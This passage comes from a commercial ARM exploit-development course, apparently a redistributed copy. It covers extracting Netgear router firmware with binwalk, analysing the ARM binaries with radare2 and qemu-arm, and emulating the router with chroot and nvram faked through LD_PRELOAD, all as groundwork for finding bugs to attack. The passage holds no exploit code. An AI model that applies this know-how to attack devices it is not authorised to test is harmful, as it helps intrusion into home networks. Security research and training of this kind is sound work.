SEC 661.2 Exploiting IoT Devices

Firmware
09b91222e5d2d3d668cf8e52ec5d35ba
In this section we show how to extract firmware from an update file. By doing this we
are able to view the ARM binaries that actually get loaded onto the target system.
micede1865@wii999_com
There are other techniques to acquire firmware, like pulling it directly off the chip or
extracting it via hardware. However you get it, acquiring the firmware is one of the
first steps for finding vulnerabilities or developing exploits for a target.

24356915 SEC661 | ARM Exploit Development 5

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 5


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Firmware Overview

09b91222e5d2d3d668cf8e52ec5d35ba
• Firmware is software loaded onto device hardware that
is stored in non-volatile memory
• Getting firmware
• Extracted from hardware
• From the device via privileged access
micede1865@wii999_com
• From an update
• Example: Dlink/Netgear

24356915 SEC661 | ARM Exploit Development 6

Firmware is a term that is widely used and can describe different things. We will use it to refer to software that
gets loaded onto a device in non-volatile memory. This means it doesn’t go away when the device is restarted.

Paul Erwin
Acquiring firmware can be done a couple of different ways. The coolest way is to extract it directly from the
hardware. With the help of special hardware tools, firmware can sometimes be pulled directly off the chip.
Another way to get the firmware from the device is to dump it from a running system. To do this, you first
need to get on the system, and you then need access to where the firmware is stored and a way to get it off.

The third way to get firmware is to extract it from an update. Most IoT systems have some way to update the
firmware running on the device. In class we will be looking at two routers. Updates for each of these routers
can be downloaded from the internet and loaded onto the device via its web interface. By looking at the

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
downloaded firmware update, we can pick it apart and figure out the key components that get loaded onto the
target system.

live

6 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Analyzing a Firmware Image – Netgear Example

09b91222e5d2d3d668cf8e52ec5d35ba
• Acquire update bundle
from vendor’s website
R6700v3-V1.0.4.84_10.0.58.chk

• Extract and identify the


firmware image

micede1865@wii999_com
hammerhead$ unzip R6700v3-V1.0.4.84_10.0.58.zip
Archive: R6700v3-V1.0.4.84_10.0.58.zip
extracting: R6700v3-V1.0.4.84_10.0.58.chk
inflating: R6700v3-V1.0.4.84_10.0.58_Release_Notes.html
data?

hammerhead$ file R6700v3-V1.0.4.84_10.0.58.chk


R6700v3-V1.0.4.84_10.0.58.chk: data

24356915 SEC661 | ARM Exploit Development 7

We will look at the Netgear firmware for the R6700v3 home router as an example. Updates for Netgear
routers can be downloaded from their website. Typically, users would download an update bundle (usually a
.zip file) from the vendor website and upload this file to their home router via a web interface. We don’t want

Paul Erwin
to load it onto a router, we want to analyze it so that we can learn more about what gets loaded onto the router.

If we extract the zip file, we see a .html file and another extension (.chk) that Linux doesn’t recognize.
Running the file command on the extracted .chk file just shows the file type as “data”. This is a generic term
and is how Linux tells you that it has no idea what it is looking at. So, at this point we have a big data blob in
the form of a .chk file and have no idea what is in it.

Reference:

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
https://www.netgear.com/support/product/R6700V3.aspx

live

© 2021 Hungry Hackers, LLC 7


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Using Binwalk

09b91222e5d2d3d668cf8e52ec5d35ba
binwalk ./R6700v3-V1.0.4.84_10.0.58.chk
R6700v3-V1.0.4.84_10.0.58.chk

...
+0x3a TRX firmware header
HEXADECIMAL DESCRIPTION
-------------------------------------------------------
0x3A TRX firmware header, little endian, image size:
48283648 bytes, CRC32: 0x3D5AFA1D, flags: 0x0, version: +0x56 LZMA compressed data
1, header size: 28 bytes, loader offset: 0x1C, linux
kernel offset: 0x20BA4C, rootfs offset: 0x0

0x56

micede1865@wii999_com
0x20BA86
LZMA compressed data, properties: 0x5D, dictionary
size: 65536 bytes, uncompressed size: 5276608 bytes

Squashfs filesystem, little endian, version 4.0,


compression:xz, size: 46133617 bytes, 1853 inodes,
blocksize: 131072 bytes, created: 2019-10-19 04:14:20
+0x20ba86 Squashfs filesystem
(compressed)

24356915 SEC661 | ARM Exploit Development 8

The binwalk command can help us out here. Binwalk searches binary files for embedded artifacts even if
the file type is unknown. Many firmware updates have multiple components crammed together into one big
bundle. Binwalk will examine the file for any recognizable byte patterns that indicate that something is
embedded in the file.
Paul Erwin
In this example, binwalk has scanned the Netgear update file, R6700v3-V1.0.4.84_10.0.58.chk and
found three internal components.
- A TRX firmware header at offset +0x3a
- Some LZMA compressed data at offset +0x56
- A compressed squash filesystem starting at offset +0x2BA86

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The squashfs filesystem is very interesting. Many embedded Linux systems use squashfs to
store their root file system. This is what gets loaded onto the device and these files are a great start
for learning about the security of the system.

We can now start to carve out some of the data contained within the .chk binary blob.

Binwalk was able to find some things in the firmware image, but this does not work 100% of the time. Some
files may be encrypted, they may attempt to mask what is inside or binwalk might simply not recognize any
live
of the internal components. In this case, some reverse engineering may be required to understand the update
file.

8 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Extracting (-e) Firmware with Binwalk

09b91222e5d2d3d668cf8e52ec5d35ba
nemo@hammerhead:~/firmware/netgear$ binwalk -e ./R6700v3-V1.0.4.84_10.0.58.chk
...
nemo@hammerhead:~/firmware/netgear$ cd _R6700v3-V1.0.4.84_10.0.58.chk.extracted/

nemo@hammerhead:~/firmware/netgear/_R6700v3-V1.0.4.84_10.0.58.chk.extracted$ ls
20BA86.squashfs 56 56.7z squashfs-root

nemo@hammerhead:~/firmware/netgear/_R6700v3-V1.0.4.84_10.0.58.chk.extracted$ cd squashfs-root/

micede1865@wii999_com
nemo@hammerhead:~/firmware/netgear/_R6700v3-V1.0.4.84_10.0.58.chk.extracted/squashfs-root$ ls
bin data dev etc lib media mnt opt proc sbin share sys tmp usr var www

24356915 SEC661 | ARM Exploit Development 9

Binwalk has a great feature to make our lives easier. The –e parameter (which stands for extract, not easy)
will tell binwalk to automatically extract what it finds into a new folder. If binwalk discovers anything
within the binary file that it can extract, it will create a new directory starting with an underscore, followed by

Paul Erwin
the original filename and ending with .extracted. In this example it creates a folder called “_R6700v3-
V1.0.4.84_10.0.58.chk.extracted”. If we change into this directory and list the contents, we see what
binwalk automatically extracted for us.

Binwalk will also take it a step further and decompress artifacts for us. For example, the
squashfs compressed filesystem has been decompressed and stored in a folder called
squashfs-root. If we list the contents of this folder, we see the files that will get copied onto
the target system.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
This level of insight is great for an attacker. From here we can begin to look at the files that run the
services and start looking for bugs.

live

© 2021 Hungry Hackers, LLC 9


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Reviewing Squashfs Contents

09b91222e5d2d3d668cf8e52ec5d35ba
squashfs-root$ cd sbin

squashfs-root/sbin$ ls
abFifo bd burnpass burn_sw_feature getchksum
hotplug internet lanup pivot_root read_bd
routerinfo udevtrigger acos_init burn5gpass burnpin
curl getopenvpnsum hotplug2 ipv6-conntab leddown
...

micede1865@wii999_com
squashfs-root/sbin$ file curl
curl: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter
/lib/ld-uClibc.so.0, with debug_info, not stripped

Extracted ARM binaries can be opened in


static analysis tools like IDA Pro, Ghidra,
Radare2, etc.

24356915 SEC661 | ARM Exploit Development 10

If we change into one of the squashfs-root sub folders, we see the actual binaries that run on the system.
While still in the hammerhead vm, we can run the file command against any of these binaries to get more
information about them.

Paul Erwin
Here we see that the curl file is a 32-bit ARM binary. In fact, all of the executable binaries are 32-bit ARM
since that is the processor that runs inside the Netgear R6700v3 router. Many embedded systems use busybox,
which combines many common Linux binaries into a single executable, so as you are looking at these files,
you may want to use “ls –l” to see if the file you are interested in is just a shortcut to busybox.

We have some different options now, depending on what we want to do. We can run the files using qemu-arm.
We can perform static analysis using tools like IDA Pro, Ghidra, or Radare2. We could set up a fuzzer and

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
fuzz some of these binaries. We can try to start up the whole system in an emulator. Again, our next steps
depend on our original objective.

Note: The path in the slide (squashfs-root/sbin) has been modified so that we can more easily
view the content.

Reference:
https://busybox.net/

live

10 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Analyzing ARM Binary in Radare2

09b91222e5d2d3d668cf8e52ec5d35ba
squashfs-root/sbin$ radare2 curl
[0x0000bf58]> aaa
...
[0x0000bf58]> s main
[0x00011438]> pdf
...
536: int main (int argc, char **argv);
0x00011438 f0412de9 push {r4, r5, r6, r7, r8, lr}
0x0001143c 48d04de2 sub sp, sp, 0x48
0x00011440 04408de2 add r4, s

micede1865@wii999_com
0x00011444
0x00011448
0x0001144c
0x00011450
3c20a0e3
0060a0e1
0150a0e1
0400a0e1
mov r2, 0x3c
mov r6, r0
mov r5, r1
mov r0, r4
; '<'
; argc
; argv
; void *s
0x00011454 0010a0e3 mov r1, 0 ; int c
0x00011458 cee9ffeb bl sym.imp.memset ;void *memset(void *s, int c, size_t n)
0x0001145c 0030a0e3 mov r3, 0
...

24356915 SEC661 | ARM Exploit Development 11

Radare2 can open the ARM binaries extracted from the firmware. Since they are known file format (ELF) and
are written for an architecture that radare2 supports, they can be opened using the following commands.

Paul Erwin
radare2 curl – open the curl binary in radare2
aaa = function analysis with autonaming
s main = seek to the main function
pdf = print disassembly of the function (main)

Here we are looking at curl, a tool for retrieving files from a network. You could also use this approach to look
for bugs in binaries that are reachable over the network.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 11


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Executing ARM Binaries with qemu-arm

09b91222e5d2d3d668cf8e52ec5d35ba
squashfs-root/sbin$ qemu-arm curl
/lib/ld-uClibc.so.0: No such file or directory

squashfs-root/sbin$ ls ../../squashfs-root
bin data dev etc lib media mnt opt proc sbin share sys tmp usr var www

squashfs-root/sbin$ qemu-arm -L ../../squashfs-root curl --help


Usage: curl [options...] <url>
Options: (H) means HTTP/HTTPS only, (F) means FTP only

micede1865@wii999_com
--anyauth Pick "any" authentication method (H)
-a, --append Append to target file when uploading (F/SFTP)
--basic Use HTTP Basic Authentication (H)
--cacert FILE CA certificate to verify peer against (SSL)
--capath DIR CA directory to verify peer against (SSL)

qemu-arm also has the –strace parameter


which is helpful for tracing system calls.

24356915 SEC661 | ARM Exploit Development 12

The qemu-arm tool will allow us to run ARM binaries on non-ARM systems. Hammerhead is running on a
x86_64 architecture, but it can run standalone ARM binaries as shown in the slide.

Paul Erwin
Again, some files that look like executables may just be symbolic links due to busybox, so run “ls –l” in the
folder that has the binary you want to look at. If the file size seems to be too small, it is likely a symbolic link.

When we try to execute the curl binary with qemu-arm, we get an error, “/lib/ld-uClibc.so.0: No such file or
directory” This is because the curl binary was dynamically linked. In section one, we got around this by
compiling with the –static option so that the resulting binary did not rely on other shared objects. But
what if we don’t have the source code? In this case we only have the curl binary and no source code.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The qemu-arm tool has the –L option which allows us to provide a path that the ARM binary will search to
find its shared objects. Notice that curl was looking for /lib/ld-uClibc.so.0. Because of this, we
don’t want to set the path provided with –L to the lib folder, since it would then look for /lib/lib/ld-
uClibc.so.0 (notice the two lib folders), instead we use the –L ../../squashfs-root as the
path. This will account for the lib within the squashfs root folder, and it will find /lib/ld-
uClibc.so.0, which is really stored in ../../squashfs-root/lib/ld-uClibc.so.0. When we
use the –L parameter with the correct search path, we see that curl executes. In the example, we pass the –h
parameter to curl to view the help content and by doing this we are confirming that curl runs successfully.

live
Note: We can also emulate these binaries on non-ARM systems with tools like unicorn, radare2, Ghidra.

12 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 7 | Firmware Extraction
Duration Time: 15 Minutes

09b91222e5d2d3d668cf8e52ec5d35ba
Being able to extract the file contents from a firmware update allows researchers to get their hands on the
actual binaries that get loaded onto a device. Tools like binwalk that automate the parsing and extraction of
unknown file formats allow for quick access to binaries of interest. These binaries can be viewed with static
analysis tools, dynamically executed, or even fuzzed.

OBJECTIVES PREPARATION

micede1865@wii999_com
• Using binwalk to analyze and extract data from
a firmware update
• Identifying and looking through the squashfs
This lab will be done in the Mako virtual machine.

See the SANS SEC661 workbook for detailed lab


root filesystem instructions.
• Emulating binaries extracted from the
squashfs filesystem using qemu-arm Tools used: binwalk, qemu-arm

24356915 SEC661 | ARM Exploit Development 13

For detailed lab instructions, see the SANS SEC661 workbook.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 13


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Course Roadmap SEC661.2

1. Firmware

09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals 2.
3.
Lab: Firmware Extraction
Router Emulation
Netgear Exploit
SEC661.2 Lab: Netgear Exploit
Exploiting IoT Devices 4. ROP
Lab: ROP
5. Dlink Exploit

micede1865@wii999_com 6.
Lab: Dlink Exploit
Memory Leaks
Lab: Memory Leaks
7. 64-Bit ARM
Lab: 64-Bit ARM

24356915 SEC661 | ARM Exploit Development 14

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

14 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC 661.2 Exploiting IoT Devices

Router Emulation
09b91222e5d2d3d668cf8e52ec5d35ba
Using emulation software like qemu, we can simulate our target and interact with it in
a virtual environment. In this section, we will be emulating a couple of routers and
providing an overview of how we accomplish this. System emulation allows us to start
micede1865@wii999_com
the system up to the point where we can launch attacks and even debug the target
services. Ideally, we want to get the emulated system to accurately reflect what will
happen on the actual device.

24356915 SEC661 | ARM Exploit Development 15

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 15


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Router Emulation - Overview

09b91222e5d2d3d668cf8e52ec5d35ba
• Get the emulation to a point where you can interact with target
services
• Many errors occur since we are not running on actual hardware
• (i.e. looking for USB, WiFi hardware, etc.)
• Some reverse engineering may be required to get target to boot
micede1865@wii999_com
• Kernel does not have to match 100% when working with user
land processes
• However, you may notice differences when attacking an actual target

24356915 SEC661 | ARM Exploit Development 16

Since the targets we are looking at run embedded linux, the startup procedure is fairly well-known. When the
system tries to boot, it will look for hardware that is not present in the emulated environment. If it does not
find what it needs, we need to accommodate it to the point where it will boot up the services that we are
interested in attacking.
Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

16 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Router Emulation (1)

09b91222e5d2d3d668cf8e52ec5d35ba

micede1865@wii999_com
Hammerhead virtual machine (x86_64)

24356915 SEC661 | ARM Exploit Development 17

We start out from our hammerhead virtual machine. This machine is x86_64 and is designed to be a self-
contained ARM test environment.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 17


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Router Emulation (2)

09b91222e5d2d3d668cf8e52ec5d35ba
kernel

micede1865@wii999_com dogfish

qemu vm (ARMv7)

Hammerhead virtual machine (x86_64)

24356915 SEC661 | ARM Exploit Development 18

The dogfish virtual machine is similar to the mako vm as they are both ARMv7 virtual machines that run
inside the hammerhead vm via qemu-system-arm. The dogfish vm runs Ubuntu 20.04 with kernel
version 5.4.0-66.

nemo@dogfish:~$ uname -a Paul Erwin


Linux dogfish 5.4.0-66-generic-lpae #74-Ubuntu SMP Thu Jan 28 01:26:02 UTC 2021 armv7l armv7l armv7l
GNU/Linux

nemo@dogfish:~$ cat /etc/os-release


NAME="Ubuntu"
VERSION="20.04.2 LTS (Focal Fossa)"

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.2 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal
live
Both the mako and dogfish vms can be ran at the same time but it is recommended to run them one at a time.

18 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Router Emulation (3)

09b91222e5d2d3d668cf8e52ec5d35ba
kernel

micede1865@wii999_com dogfish

qemu vm (ARMv7)

Hammerhead virtual machine (x86_64)

24356915 SEC661 | ARM Exploit Development 19

The dogfish vm is used to launch both the Netgear and Dlink emulated routers. Each one is started separately,
and once they start up the web interfaces will be accessible from the hammerhead virtual machine’s web
browser.

Paul Erwin
The technique to boot up these routers is based on Saumil Shah’s ARM-X framework. Saumil has spent
decades contributing to the security industry and you should check out his work if you aren’t familiar with it
already.

Reference:
https://twitter.com/therealsaumil
https://github.com/therealsaumil/armx

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Saumil’s ARM-X Presentation
https://youtu.be/NVl6uJiEaoI

live

© 2021 Hungry Hackers, LLC 19


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Required Components

09b91222e5d2d3d668cf8e52ec5d35ba
• Filesystem
• Extracted from the vendor’s update bundle or from actual
hardware
• Update bundles are typically available from vendor’s website
• Nvram
micede1865@wii999_com
• Persistent memory (i.e. configuration)
• Extracted from a running device
• Requires access to the target device

24356915 SEC661 | ARM Exploit Development 20

The filesystem is required, because it contains the files we actually want to run in the emulated target
environment. Nvram is non-volatile memory that is saved even when the device is powered off. This is where
the router configuration and other system settings get stored.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

20 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Example: Netgear Emulation

09b91222e5d2d3d668cf8e52ec5d35ba
kernel

dogfish vm
(armv7)

micede1865@wii999_com
netgear emulation

24356915 SEC661 | ARM Exploit Development 21

We want to setup a new netgear emulation environment. Initially, we are still operating in the dogfish virtual
machine. We will use chroot to change our root into the netgear emulation environment.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 21


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Chroot Example

09b91222e5d2d3d668cf8e52ec5d35ba1
This example shows chroot
into the netgear_rootfs
filesystem and executing a
2 command (/bin/sh).

micede1865@wii999_com
3 Using the ‘ls /’ command, we
see the root contents
within chroot match the
netgear_rootfs folder
shown above.

24356915 SEC661 | ARM Exploit Development 22

This illustration shows the following chroot example:

1. List the root contents of the extracted netgear filesystem.

Paul Erwin
2. Chroot into the netgear filesystem and launch a shell (/bin/sh).
3. List the root contents from within chrooted shell. Now, we see the contents of the netgear_rootfs folder
since we are in the chroot environment.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

22 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Step 1: Chroot

09b91222e5d2d3d668cf8e52ec5d35ba squashfs root


• Netgear uses a squashfs
filesystem that can be
kernel filesystem extracted with binwalk
• Chroot into the
filesystem that has been
dogfish vm
(armv7)
chroot
 extracted from the
update file
micede1865@wii999_com • We continue to use the
same kernel as dogfish

netgear emulation

24356915 SEC661 | ARM Exploit Development 23

When we are in Netgear’s chroot environment, we are still using the kernel of the dogfish VM. When we apply
chroot restrictions to a process such as the Netgear or Dlink provided shell, the chroot constrains the view of the
filesystem. This constraint will affect the libraries the process links to, but the underlying OS has not changed.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 23


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Executing a Script with Chroot

09b91222e5d2d3d668cf8e52ec5d35ba squashfs root


#!/bin/sh

sleep 2
kernel cd /mnt/tools
filesystem
mount -t proc none /proc
mount -t sysfs none /sys

mknod /dev/null c 1 3
dogfish vm chmod 666 /dev/null
(armv7)

micede1865@wii999_com source /mnt/tools/ld_preload_netgear.env


/mnt/tools/loadnvram_netgear.sh

sleep 2
/sbin/preinit& Instead of just a shell,
/bin/sh
we launch this script
(netgear_boot.sh)
netgear emulation

24356915 SEC661 | ARM Exploit Development 24

Once we have entered a chroot environment, we run a script


(/home/nemo/qemu/dogfish/routers/tools/netgear_boot.sh) that automates setting up the
emulated router environment.

Paul Erwin
We run a script instead of a shell to simply automate the steps for starting up the emulated router. Over the
next few slides, we will review these steps.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

24 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Step 2: Mount Special File Systems and Create Required Devices (/dev/null)

09b91222e5d2d3d668cf8e52ec5d35ba squashfs root


/proc
/sys
#!/bin/sh

sleep 2
kernel cd /mnt/tools
filesystem
/dev/null
mount -t proc none /proc
mount -t sysfs none /sys

mknod /dev/null c 1 3
dogfish vm chmod 666 /dev/null
(armv7)

micede1865@wii999_com source /mnt/tools/ld_preload_netgear.env


/mnt/tools/loadnvram_netgear.sh

sleep 2
/sbin/preinit&
/bin/sh

netgear emulation

24356915 SEC661 | ARM Exploit Development 25

The proc and sysfs filesystems are mounted in the /proc and /sys folders. These are special
filesystems that Linux uses to manage processes and system configuration. Keep in mind that these are being
mounted in the chroot environment. The /dev/null file is also created, and permissions are set using

Paul Erwin
chmod. The router depends on this file when booting up.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 25


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Step 3: Load the NVRAM

09b91222e5d2d3d668cf8e52ec5d35ba squashfs root


/proc
/sys
#!/bin/sh

sleep 2
kernel cd /mnt/tools
filesystem
/dev/null
mount -t proc none /proc
mount -t sysfs none /sys
loadnvram
wlg_wds_mode=1 mknod /dev/null c 1 3
dogfish vm wl_radius_port=1812 chmod 666 /dev/null
(armv7) wlan_acl_dev24=

micede1865@wii999_com
wan2_dns=
pci/2/1/rxgains5gh=5
wl1_wme=on source /mnt/tools/ld_preload_netgear.env
gui_check_enable=1 /mnt/tools/loadnvram_netgear.sh
hd_idle_period=1800
wlan_acl_dev25=
pci/2/1/rxgains5gh=5
l2tp_user_passwd=
sleep 2
wla_ssid_2=NET-Guest /sbin/preinit&
wl_mbss_skipctf=1
/bin/sh

netgear emulation

24356915 SEC661 | ARM Exploit Development 26

In the next step we load the router’s nvram. The nvram is non-volatile which means that it is persistent and
will not be lost when the device shuts down or reboots.

Paul Erwin
This is important for routers and other devices that have a small storage capacity. The nvram holds the
device’s configuration settings. Think about some of the things that the device needs to remember after a
reboot (ip configuration, wifi passphrases, etc).

The Netgear emulation script uses a technique to LD_PRELOAD some custom libraries that intercept calls to
read nvram. We have to use this technique to fake the router into thinking that it is interacting with its
hardware that would normally hold the nvram settings. The LD_PRELOAD technique loads custom libraries
in place of original libraries in the process. The custom libraries respond to calls to nvram by providing

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
information we stored in a configuration file. The system would normally read the value from the actual
nvram.

When the nvram gets loaded by our script, you will see lots of settings scroll past very quickly. These are all of
the configuration settings getting loaded for our emulated Netgear startup.

The custom libraries that we use for intercepting the calls to read nvram were written by Saumil Shah and are
available on his github repo.

Reference:
https://github.com/therealsaumil/custom_nvram
https://catonmat.net/simple-ld-preload-tutorial
live

26 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Load NVRAM Helper Scripts

09b91222e5d2d3d668cf8e52ec5d35ba
1

Step 1: Set LD_PRELOAD


with hooking shared
objects

micede1865@wii999_com Step 2: Run a script that


will loop through and
“nvram set” all of the
The shared objects are from Saumil Shah’s nvram settings from a
custom_nvram github repo and the script is also designated file.
based on his work.

24356915 SEC661 | ARM Exploit Development 27

Here we see the loadnvram_netgear.sh script. This script is a slight variation on Saumil Shah’s tools
referenced in the next slide.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 27


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Saumil Shah’s nighthawk_hooks.so – (https://github.com/therealsaumil/custom_nvram)

09b91222e5d2d3d668cf8e52ec5d35ba

micede1865@wii999_com
Shared objects for
hooking interaction
with nvram

24356915 SEC661 | ARM Exploit Development 28

Saumil Shah has done a lot of good work in this area and has freely contributed many of his tools to the
security community. He has taught many security training courses over the years and maintains an emulation
framework known as ARM-X.

Resources: Paul Erwin


https://github.com/therealsaumil/custom_nvram
https://github.com/therealsaumil/armx

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

28 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Step 4: Run Linux Startup Procedures

09b91222e5d2d3d668cf8e52ec5d35ba squashfs root


/proc
/sys
#!/bin/sh

sleep 2
kernel cd /mnt/tools
filesystem
/dev/null
mount -t proc none /proc
mount -t sysfs none /sys
loadnvram /sbin/preinit
wlg_wds_mode=1 mknod /dev/null c 1 3
dogfish vm wl_radius_port=1812 chmod 666 /dev/null
linux system
(armv7) wlan_acl_dev24=

micede1865@wii999_com
wan2_dns=
pci/2/1/rxgains5gh=5
startup
wl1_wme=on source /mnt/tools/ld_preload_netgear.env
gui_check_enable=1 /mnt/tools/loadnvram_netgear.sh
hd_idle_period=1800
wlan_acl_dev25=
pci/2/1/rxgains5gh=5
l2tp_user_passwd=
sleep 2
wla_ssid_2=NET-Guest /sbin/preinit&
wl_mbss_skipctf=1
/bin/sh

netgear emulation

24356915 SEC661 | ARM Exploit Development 29

Once our nvram is loaded, we are ready to start up the emulated device.

- We are in a chroot environment, so the filesystem looks like Netgear’s

Paul Erwin
- We have mounted the special folders /proc and /sys and created the /dev/null special file
- We have the router’s configuration loaded in our “fake” nvram that we are using LD_PRELOAD to emulate

The /sbin/preinit command is how the Netgear router starts its boot process. Everything is setup, so we
are ready to kick off that file.

The Netgear and Dlink differ here, and it takes a little bit of reverse engineering to figure out, but they both
use common startup techniques.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The /bin/sh command at the end is not required, it just gives us a shell that we can interact with in the
console.

live

© 2021 Hungry Hackers, LLC 29


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Applications Should Start Automatically

09b91222e5d2d3d668cf8e52ec5d35ba squashfs root


/proc
/sys
kernel filesystem
/dev/null

loadnvram /sbin/preinit
wlg_wds_mode=1
dogfish vm wl_radius_port=1812
linux system
(armv7) wlan_acl_dev24=

micede1865@wii999_com
wan2_dns=
pci/2/1/rxgains5gh=5
startup
wl1_wme=on
gui_check_enable=1
hd_idle_period=1800
web services
wlan_acl_dev25= and other
pci/2/1/rxgains5gh=5
l2tp_user_passwd= applications
wla_ssid_2=NET-Guest
wl_mbss_skipctf=1

netgear emulation

24356915 SEC661 | ARM Exploit Development 30

Once the Linux startup happens, the services that normally start with the router will also start up. This includes
the web services that we are interested in attacking. You will see a lot of output in the console window. There
will be lots of errors, since we are not emulating everything that a real router would have present (i.e., wifi

Paul Erwin
drivers, usb, etc.). We are only emulating enough to start up the services that we are interested in attacking.

In this case, we don't need those resources for our goal. We may need to experiment to determine how much
of the hardware / system must be emulated to accomplish our goal. For simplicity in this instance, that limit
testing has been done already for you. In practice, you'll need to estimate the necessary extent of emulation,
test, and refactor.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

30 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Startup Scripts – Launched after chroot

09b91222e5d2d3d668cf8e52ec5d35ba
#!/bin/sh

sleep 2
#!/bin/sh

sleep 2
cd /mnt/tools cd /mnt/tools

mount -t proc none /proc mount -t proc none /proc


mount -t sysfs none /sys mount -t sysfs none /sys

mknod /dev/null c 1 3 mknod /dev/null c 1 3


chmod 666 /dev/null chmod 666 /dev/null

micede1865@wii999_com
source /mnt/tools/ld_preload_netgear.env
/mnt/tools/loadnvram_netgear.sh

sleep 2
export LD_PRELOAD=/mnt/tools/libnvram-armx.so
/mnt/tools/loadnvram_dlink.sh

/sbin/preinit& /etc/init.d/rcS
/bin/sh /bin/sh

netgear_boot.sh dlink_boot.sh

24356915 SEC661 | ARM Exploit Development 31

This side-by-side comparison shows the similarities between the Netgear and Dlink startup scripts.

The netgear_boot.sh and dlink_boot.sh files can be found in the hammerhead vm in the

Paul Erwin
/home/nemo/qemu/dogfish/routers/tools/ folder.

For the Dlink emulation, there were some scripts in /etc/init.d that were preventing it from booting.
